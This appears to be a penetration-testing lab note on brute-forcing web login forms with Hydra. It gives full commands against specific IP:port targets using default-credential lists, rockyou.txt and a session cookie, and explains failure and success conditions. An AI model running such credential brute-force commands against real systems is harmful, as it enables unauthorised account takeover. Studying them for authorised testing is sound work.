6. Login form attacks

Assume

We have the option to test webapp for default creds with http-post-form

Attempt using  ftp-betterdefaultpasslist.txt list

hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

If brute fails with default creds we can bruteforce with specified user. Often usernames such as admin, administrator etc are used in admin panels; rarely changed.

hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='log-in'"

Including a cookie in hydra bruteforce:

┌──(root㉿kali)-[~/cpts/password-attacks/bruteforce]
└─# /usr/bin/hydra 83.136.255.79 -s 33822 -V -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:H=Cookie\: PHPSESSID=918tcrst0u2deqnil3u99h2jga:F=<form name='log-in'"

hydra http-post-form bruteforce

hydra -L /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists/Passwords/2023-200_most_used_passwords.txt -f 94.237.57.222 -s 36649 http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

the :F is 'failure condition'

"path:params:condition_string"

Hydra primarily relies on failure conditions (F=...) to determine when a login attempt has failed, but you can also specify a success condition (S=...) to indicate when a login is successful.

thus we'd see:

"/login:user=^USER^&pass=^PASS^:S=302"

for a successful attempt if thats the condition we chose to use

![](/img/Pasted image 20241002120340.png)